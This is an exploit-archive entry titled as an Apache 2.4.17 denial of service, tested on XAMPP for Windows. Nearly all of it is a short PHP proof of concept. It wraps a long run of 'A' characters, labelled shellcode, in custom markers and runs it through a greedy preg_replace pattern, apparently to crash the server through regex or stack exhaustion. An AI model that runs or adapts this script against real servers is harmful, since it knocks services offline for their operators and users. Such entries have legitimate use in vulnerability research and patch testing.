# Exploit Title: Apache 2.4.17 - Denial of Service
# Date: 17/12/2015
# Exploit Author: rUnVirus [ Ahmed Atif]
# Vendor Homepage: www.apache.org
# Software Link: https://www.apachefriends.org/download.html/
# Version: 5.5.30
# Tested on: windows 7 - XAMPP Version 5.5.30 (Apache 2.4.17 - PHP 5.5.30)
<?php
$s="<?php
//!*runvirus:start*!";
$s2="!*runvirus:end*! ?>";
$shellcode=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
";
$egg = $s.$shellcode.$s2;
$content = preg_replace(
'%//!\*runvirus:start\*!(.)+!\*runvirus:end\*!%s',
'test',
$egg
);
echo 'If you can see this everything seems to be working fine.';
?>
